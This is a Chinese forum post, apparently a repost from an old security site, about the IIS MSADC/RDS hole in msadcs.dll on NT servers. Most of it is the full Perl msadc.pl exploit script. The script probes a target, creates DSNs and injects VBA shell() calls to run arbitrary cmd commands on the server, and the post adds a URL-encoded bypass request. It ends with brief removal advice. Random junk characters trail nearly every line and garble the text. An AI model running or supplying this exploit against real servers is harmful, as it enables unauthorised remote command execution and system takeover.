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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) InG<B,/W?  
Z"G?+gM@  
涉及程序: ^.[+)0I  
Microsoft NT server oTeQY[%$  
WhL"-f  
描述: Tt{ft?H71  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 +H _ /  
3H5<w4yk  
详细: 7': <I- Fm  
如果你没有时间读详细内容的话,就删除: <*opVy^  
c:\Program Files\Common Files\System\Msadc\msadcs.dll } d7o-  
有关的安全问题就没有了。 2yV {y#\   
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 UQ2;Dg G%  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 \U?{m)N  
关于利用ODBC远程漏洞的描述,请参看: HmpV; <t3  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm *%dWNvN4X  
}& 01=nY  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Z?'?+48xv4  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp Wp=:|J   
-:V2Dsr6;  
这里不再论述。 f q*V76F  
lW@i,1  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: zh4m`}p  
t<qXXQ&5  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset =!2(7Nr  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 84-7!< 6i  
7=4V1FS6i  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" E"%G@,|3*  
jhE3@c@pT  
#!perl v?4MndR  
# +'D #VG  
# MSADC/RDS 'usage' (aka exploit) script "\kr;X'  
# ptpu u=3"  
# by rain.forest.puppy SG3qNM: g  
# uX,ln(9I*H  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me @,TCg1@QJ  
# beta test and find errors! NZ~"2~Hh  
#]Q.B\\  
use Socket; use Getopt::Std; v&u8Ks  
getopts("e:vd:h:XR", \%args); =A^VzIj(  
0Yc#fD  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 6H!"oC&  
9/50+2F  
if (!defined $args{h} && !defined $args{R}) {  TGozoPV  
print qq~ 86f/R c  
Usage: msadc.pl -h <host> { -d <delay> -X -v } yl~h `b4  
-h <host> = host you want to scan (ip or domain) .sbV<ulbc  
-d <seconds> = delay between calls, default 1 second M{~KT3c  
-X = dump Index Server path table, if available Fy]j33E  
-v = verbose 4Yl:1rz  
-e = external dictionary file for step 5 3Y=?~!,Jk  
q0QB[)AP  
Or a -R will resume a command session rKWkT"  
C AF{7 `{  
~; exit;} 24/ ^_Td  
5I@2UvV8  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; @c{b\is2  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} o*|j}hnbv  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} U*Pi%J  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); r1X\$&  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} }Z\PE0  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 38O_PK  
(:T\<  
if (!defined $args{R}){ $ret = &has_msadc; W RVm^  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} {AqPQeNgz  
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print "Please type the NT commandline you want to run (cmd /c assumed):\n" V$<5`  
. "cmd /c "; FG5t\!dt<  
$in=<STDIN>; chomp $in; )3~):+  
$command="cmd /c " . $in ; k-\RdX)E  
}KwL_\>&f  
if (defined $args{R}) {&load; exit;} 'x!5fAy  
421ol  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; [0mg\n?  
&try_btcustmr; Mi_/ ^  
\py \rI  
print "\nStep 2: Trying to make our own DSN..."; m|+g_JZ  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Sj<WiQ%<  
gEU|Bx/!=  
print "\nStep 3: Trying known DSNs...";  uvf}7  
&known_dsn; O9]+Jd4W  
4&([<gyR<  
print "\nStep 4: Trying known .mdbs..."; !5K9L(gqb  
&known_mdb; eo&nAr  
5m&Zq_Qe  
if (defined $args{e}){ Ox1#}7`0>  
print "\nStep 5: Trying dictionary of DSN names..."; R7d45Wl  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ]\5?E }kd  
r .b!3CoQ  
print "Sorry Charley...maybe next time?\n"; \`M8Mu9~w  
exit; ULkhTB  
u DpCW}  
############################################################################## qA6;Q$  
:vkTV~  
sub sendraw { # ripped and modded from whisker b$:<T7vei  
sleep($delay); # it's a DoS on the server! At least on mine... +1%7*2q,  
my ($pstr)=@_; ^p 4 33  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 3R sbi  
die("Socket problems\n"); h|j $Jy  
if(connect(S,pack "SnA4x8",2,80,$target)){ qx~-(|s`H  
select(S); $|=1; >FabmIcC  
print $pstr; my @in=<S>; K`?",G?_  
select(STDOUT); close(S); /&#Gh?z  
return @in; / `Glf|  
} else { die("Can't connect...\n"); }} XNJPf) T  
3B5GsI  
############################################################################## GF-\WD  
P[E5e+ A)  
sub make_header { # make the HTTP request 89[5a  
my $msadc=<<EOT <,!e*V*U  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 LJ Aqk2k  
User-Agent: ACTIVEDATA af<R.  
Host: $ip lU[" ZFP  
Content-Length: $clen O+^l>+ZGj?  
Connection: Keep-Alive cn$o$:tW  
RHc-kggk!  
ADCClientVersion:01.06 +(-L  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ZCAdCKX|  
kgV_*0^  
--!ADM!ROX!YOUR!WORLD! eJ JD'Z  
Content-Type: application/x-varg x$;I E  
Content-Length: $reqlen _Fz]QxO  
O IMsxXF\J  
EOT 1]i{b/ 4  
; $msadc=~s/\n/\r\n/g; O:Ixy?b;Z  
return $msadc;} nM1F4G  
`"/s,"c:D  
############################################################################## *+ql{\am4N  
qQu}4Ye>  
sub make_req { # make the RDS request $-}a<UFE;  
my ($switch, $p1, $p2)=@_; ST#MCh-00  
my $req=""; my $t1, $t2, $query, $dsn; + S^OzCGk  
VM1`:1Z:$  
if ($switch==1){ # this is the btcustmr.mdb query e bSG|F  
$query="Select * from Customers where City=" . make_shell(); Qt@_C*,P  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . +y$%S4>0tp  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ;p !|E3o.  
0'IV"eH2  
elsif ($switch==2){ # this is general make table query SCCBTpmf2B  
$query="create table AZZ (B int, C varchar(10))";  a9ko3L  
$dsn="$p1";} gua +-##)  
b V5{  
elsif ($switch==3){ # this is general exploit table query 2L<iIBSJwm  
$query="select * from AZZ where C=" . make_shell(); Be=J*D!E=>  
$dsn="$p1";} H <|ilL'fX  
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elsif ($switch==4){ # attempt to hork file info from index server GxL;@%B  
$query="select path from scope()"; %8_bh8g-  
$dsn="Provider=MSIDXS;";} qW1d;pt  
pu:Ie#xTDf  
elsif ($switch==5){ # bad query (|<e4HfZL  
$query="select"; 0@K?'6  
$dsn="$p1";} ' DZYN {}  
6 K+DgNK  
$t1= make_unicode($query); s\k4<d5  
$t2= make_unicode($dsn); H6Mqy}4W  
$req = "\x02\x00\x03\x00"; E,S[3+  
$req.= "\x08\x00" . pack ("S1", length($t1)); Li jisE  
$req.= "\x00\x00" . $t1 ; QgZwU$`p0  
$req.= "\x08\x00" . pack ("S1", length($t2)); o"te7nBI  
$req.= "\x00\x00" . $t2 ; TzC'x WO  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; !\ IgTt,  
return $req;} QUPZe~G>L  
Nq`@ >Ml  
############################################################################## {{G`0i2KV  
B^;P:S<yG  
sub make_shell { # this makes the shell() statement G% |$3  
return "'|shell(\"$command\")|'";} eDh]uKg  
q`HuVilNH  
############################################################################## x}Y  
-VqZw&"  
sub make_unicode { # quick little function to convert to unicode tai=2,'  
my ($in)=@_; my $out; #Sxk[[KwH*  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } cjf 8N:4N0  
return $out;} .l| [e  
0W92Z@_GY  
############################################################################## ,cgFdOM.  
e;+6U"Jx*  
sub rdo_success { # checks for RDO return success (this is kludge) n9 LTrhLqp  
my (@in) = @_; my $base=content_start(@in); x)Y?kVw21"  
if($in[$base]=~/multipart\/mixed/){ iP7 Cku}l  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 5s=ZA*(sY  
return 0;} CFm( yFk  
NUlp4i~Q  
############################################################################## D5o[z:V7"  
S>-x<'Os  
sub make_dsn { # this makes a DSN for us Z*+0gJ<Y  
my @drives=("c","d","e","f"); i `m&X6)\j  
print "\nMaking DSN: "; ?ztI8 I/  
foreach $drive (@drives) { BB x359  
print "$drive: "; XX85]49`%  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 4pvT?s>68  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" w\"~ *(M  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); -C]k YQ  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; )\ `AD#  
return 0 if $2 eq "404"; # not found/doesn't exist 9g7d:zG  
if($2 eq "200") { -/x= `S*  
foreach $line (@results) { m* Zq3j  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 03ol6y )C  
} return 0;} WpPm|h  
4LEWOWF}  
############################################################################## r8.`W\SKX  
Z~g6C0  
sub verify_exists { p<eu0B_V  
my ($page)=@_; `!`g&:Y  
my @results=sendraw("GET $page HTTP/1.0\n\n"); I~^t\iujs  
return $results[0];} 3 291"0  
F9ys.Bc  
############################################################################## 6:fHPlqW  
7Ei,L[{\i#  
sub try_btcustmr { ans(^Up$  
my @drives=("c","d","e","f"); 04K[U9W3  
my @dirs=("winnt","winnt35","winnt351","win","windows"); _d|CO  
iS p +~  
foreach $dir (@dirs) { R[C+?qux  
print "$dir -> "; # fun status so you can see progress Kyf,<z F  
foreach $drive (@drives) { q7}rD$  
print "$drive: "; # ditto Y X`BX$  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; `fnU p-  
$reqlenlen=length( "$reqlen" ); {\1:2UKkr  
$clen= 206 + $reqlenlen + $reqlen; 1^f7  
b< dwf[  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ',WnT:  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} eD|p1+76  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} YiO3.+H  
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############################################################################## 3WVH8Sb  
Fy; sVB  
sub odbc_error { fH@P&SX  
my (@in)=@_; my $base; ty"|yA  
my $base = content_start(@in); WE{fu{x  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this XIGz_g;#'w  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; H*m3i;"4p\  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ~+A(zlYr~  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; -wh?9 ?W  
return $in[$base+4].$in[$base+5].$in[$base+6];} h SeXxSb:  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ]9 JLu8GO  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . R)@2={fd}  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} -JEiwi,  
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############################################################################## |)+s,LT5  
oe'f?IY  
sub verbose { %,1xOl4l  
my ($in)=@_; "t.Jv%0=  
return if !$verbose; J dM0f!3  
print STDOUT "\n$in\n";} rAn:hR{  
+]3kcm7B  
############################################################################## 9\zasa  
&E]<dmR  
sub save { ;u8a%h!  
my ($p1, $p2, $p3, $p4)=@_; tD~ n PbbB  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ( < e q[(  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 6e;POW  
close OUT;} t/wo G9N  
qkM)zOZ^  
############################################################################## 0!Vza?9  
aw923wEi  
sub load { ~n"?*I`  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; UkTq0-N;2  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Ke;eI+P[  
@p=<IN>; close(IN); z/I\hC9i  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ,M.phRJ-`  
$target= inet_aton($ip) || die("inet_aton problems"); }Q?a6(4  
print "Resuming to $ip ..."; EKD?j  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Ob&m&2s,  
if($p[1]==1) { KB"N',kG  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ELN1F0TneH  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; )n&6= Li  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); M!/!*,~  
if (rdo_success(@results)){print "Success!\n";} g5C$#<28  
else { print "failed\n"; verbose(odbc_error(@results));}} 5|jsv)M+  
elsif ($p[1]==3){ cBD#F$K2  
if(run_query("$p[3]")){ =h@t#-Z"  
print "Success!\n";} else { print "failed\n"; }} }`$s"Iv@  
elsif ($p[1]==4){ `53S[8  
if(run_query($drvst . "$p[3]")){ q$;j1X^  
print "Success!\n"; } else { print "failed\n"; }} sXi~cfFaE  
exit;} 'ln o#  
z:ZXdB)L)  
############################################################################## EzeU-!|W  
 :I{9k~  
sub create_table { U2Tw_  
my ($in)=@_; ^OOoo2  
$reqlen=length( make_req(2,$in,"") ) - 28; 3&!v"ms  
$reqlenlen=length( "$reqlen" ); ]$,3vYBf  
$clen= 206 + $reqlenlen + $reqlen; FVxORQI  
my @results=sendraw(make_header() . make_req(2,$in,"")); b8 E{~z  
return 1 if rdo_success(@results); xHD$0eq  
my $temp= odbc_error(@results); verbose($temp); b['v0x  
return 1 if $temp=~/Table 'AZZ' already exists/; noso* K7  
return 0;} vdcPpj^d5  
B k*Rz4Oa  
############################################################################## VaW^;d#  
%Z3B9  
sub known_dsn {  6oI/*`>  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go _o T+x%i  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ? *v*fs0  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", `6P2+wf1j~  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); aX2N Qq>s  
R.\]JvqO  
foreach $dSn (@dsns) { <L('RgA@X  
print "."; ' GUCXx  
next if (!is_access("DSN=$dSn")); :Xs4C%H;  
if(create_table("DSN=$dSn")){ BM{*5Lf  
print "$dSn successful\n"; >m:n6M'r  
if(run_query("DSN=$dSn")){ ~>H,~</`  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 6M ;lD5(>  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ?t/G@  
t2iQ[`/?~  
############################################################################## ~"\WV4}`v  
#~m 8zG  
sub is_access { Qr_0 L  
my ($in)=@_; e"%uOuIYX  
$reqlen=length( make_req(5,$in,"") ) - 28; oj[~H}>  
$reqlenlen=length( "$reqlen" ); =A*a9c2  
$clen= 206 + $reqlenlen + $reqlen; N^M6*,F,J  
my @results=sendraw(make_header() . make_req(5,$in,"")); 1% C EUE  
my $temp= odbc_error(@results); {r~=mQ  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ?t<g|H/|6  
return 0;} H#u N&^+H  
lCgzQZ  
############################################################################## yk'L_M(=  
sYfm]Faz  
sub run_query { )vUS).;S`  
my ($in)=@_; VJP#  
$reqlen=length( make_req(3,$in,"") ) - 28; dC;&X g`  
$reqlenlen=length( "$reqlen" ); ts% n tnvI  
$clen= 206 + $reqlenlen + $reqlen; ;.Ld6JRunw  
my @results=sendraw(make_header() . make_req(3,$in,"")); I4|"Ztw  
return 1 if rdo_success(@results); }Q*J!OH  
my $temp= odbc_error(@results); verbose($temp);  LJ;&02w@  
return 0;} tZv^uuEp3  
!Eg2#a?  
############################################################################## &8pGq./lr=  
+_{cq@c  
sub known_mdb { { P,hH~!  
my @drives=("c","d","e","f","g"); PhPe7^  
my @dirs=("winnt","winnt35","winnt351","win","windows"); cs7^#/3<  
my $dir, $drive, $mdb; 2$MoKO x8$  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Fe %Vp/  
vcCNxIzEG  
# this is sparse, because I don't know of many Io"3wL)2  
my @sysmdbs=( "\\catroot\\icatalog.mdb", d >NO}MR  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", "iGQ1#6|d  
"\\system32\\certmdb.mdb", sv&^sARN  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% y@,PTF  
5JEOLPS  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 5rfDm  
"\\cfusion\\cfapps\\forums\\forums_.mdb", J[05T1  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", Rc3!u^?u  
"\\cfusion\\cfapps\\security\\realm_.mdb", 4x}U+1B  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", }30Sb &"  
"\\cfusion\\database\\cfexamples.mdb", +0)M1!gK  
"\\cfusion\\database\\cfsnippets.mdb", 9Zj3"v+b  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", |h%HUau  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", eXD~L&s[  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 7W*a+^   
"\\cfusion\\database\\smpolicy.mdb", .jg@UAK  
"\\cfusion\\database\cypress.mdb", 3~7!=s\v  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", EJ>rW(s  
"\\website\\cgi-win\\dbsample.mdb", F:d2;  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", zy%0;%  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Trs2M+r)  
); #these are just {* :^K\-  
foreach $drive (@drives) { SSCs96  
foreach $dir (@dirs){ 0g6sGz=  
foreach $mdb (@sysmdbs) { 2 S~(P  
print "."; 2@lGY_O!m  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ !*L)v  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; $U. |  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ w;{Q)_A  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; OF={k[  
} else { print "Something's borked. Use verbose next time\n"; }}}}} M 87CP=yc  
G[JWG  
foreach $drive (@drives) { N Uv Vhy]{  
foreach $mdb (@mdbs) { |O6/p7+.  
print "."; maDWV&Db  
if(create_table($drv . $drive . $dir . $mdb)){ mj?Gc  
print "\n" . $drive . $dir . $mdb . " successful\n"; ~;]kqYIJ  
if(run_query($drv . $drive . $dir . $mdb)){ |1tpXpe  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; i-w$-2w  
} else { print "Something's borked. Use verbose next time\n"; }}}} S9r?= K  
} P9qIq]M  
I*^t!+q$  
############################################################################## Xp9I3nd|  
NA/`LaJ  
sub hork_idx { ^"D^D`$@  
print "\nAttempting to dump Index Server tables...\n"; {Q37a=;,  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; NN2mOJ:-  
$reqlen=length( make_req(4,"","") ) - 28; UimofFmI%  
$reqlenlen=length( "$reqlen" ); J _dgP[  
$clen= 206 + $reqlenlen + $reqlen; {J izCUo_'  
my @results=sendraw2(make_header() . make_req(4,"","")); 3N-pND0>p  
if (rdo_success(@results)){ Axns  
my $max=@results; my $c; my %d; S<NK!89  
for($c=19; $c<$max; $c++){ akt7rnt?i  
$results[$c]=~s/\x00//g; hrq% {!Z  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; m7y[Y  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ;5L^)Nyd  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; GC7WRA  
$d{"$1$2"}="";} "^6Fh"]  
foreach $c (keys %d){ print "$c\n"; } jd-ccnR l  
} else {print "Index server doesn't seem to be installed.\n"; }} o+}k$i!6  
I/O/*^T  
############################################################################## pZlsDM/=  
$A9Pi"/*z  
sub dsn_dict { O=V_ 7I5  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); RqGX(Iuv  
while(<IN>){ +a^gC  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; y]+5Y.Cw$  
next if (!is_access("DSN=$dSn")); k9OGnCW\  
if(create_table("DSN=$dSn")){ NJ.oME@=  
print "$dSn successful\n"; ,8Po _[  
if(run_query("DSN=$dSn")){ .l_Nf9=  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { p*,T~(A6  
print "Something's borked. Use verbose next time\n";}}} _qf39fM;\  
print "\n"; close(IN);} /q\e&&e  
~a[ /l  
############################################################################## ,>rvl P  
{R-o8N  
sub sendraw2 { # ripped and modded from whisker O+|C<;K  
sleep($delay); # it's a DoS on the server! At least on mine... n<j+KD#a  
my ($pstr)=@_; Pb>/b\&JS  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || YLQ0UeDN'  
die("Socket problems\n"); 64mEZ_kG,  
if(connect(S,pack "SnA4x8",2,80,$target)){ eGq7+  
print "Connected. Getting data"; 6QY;t:/<  
open(OUT,">raw.out"); my @in; P9'` 2c   
select(S); $|=1; print $pstr; PIa!N Py  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ;10YG6:  
close(OUT); select(STDOUT); close(S); return @in; qjhV/fsfb  
} else { die("Can't connect...\n"); }} F/BR#J1  
}R#W<4:  
############################################################################## Ve|:k5z  
f0 sGE5  
sub content_start { # this will take in the server headers "E\mj'k  
my (@in)=@_; my $c; 1J"9Y81   
for ($c=1;$c<500;$c++) { v.Q#<@B^:  
if($in[$c] =~/^\x0d\x0a/){ ^_|kEvk0  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } y`buY+5l  
else { return $c+1; }}} }' AY#g  
return -1;} # it should never get here actually ; $80}TY '  
a24 AmoWx  
############################################################################## bg-/ 8,  
i,*m(C@F}  
sub funky { 9;U?_   
my (@in)=@_; my $error=odbc_error(@in); t kj  
if($error=~/ADO could not find the specified provider/){ Y /_CPY  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; LZe)_9$  
exit;} Na/Y1RW  
if($error=~/A Handler is required/){ D?1fY!C:r  
print "\nServer has custom handler filters (they most likely are patched)\n"; ft(o-f7,  
exit;} +m%%Bz>  
if($error=~/specified Handler has denied Access/){ Icrnu}pl_  
print "\nServer has custom handler filters (they most likely are patched)\n"; N7J?S~x  
exit;}} 8^ f:-5  
{:uv}4Z  
############################################################################## BNNM$.ZIQ  
1Y'4 g3T  
sub has_msadc { nPXP9wmh4x  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); A,DBq9Z+4R  
my $base=content_start(@results); D1xGUz2r  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); YP_L~zZ  
return 0;} X>o9mW  
PtbaC6"\  
######################## X n!mdR  
O[ird`/  
-  /\qGI  
解决方案: p 4> ThpX  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 70c]|5  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 `sCaGCp  
4$&l`yWU+  
拿出来充数 哈哈
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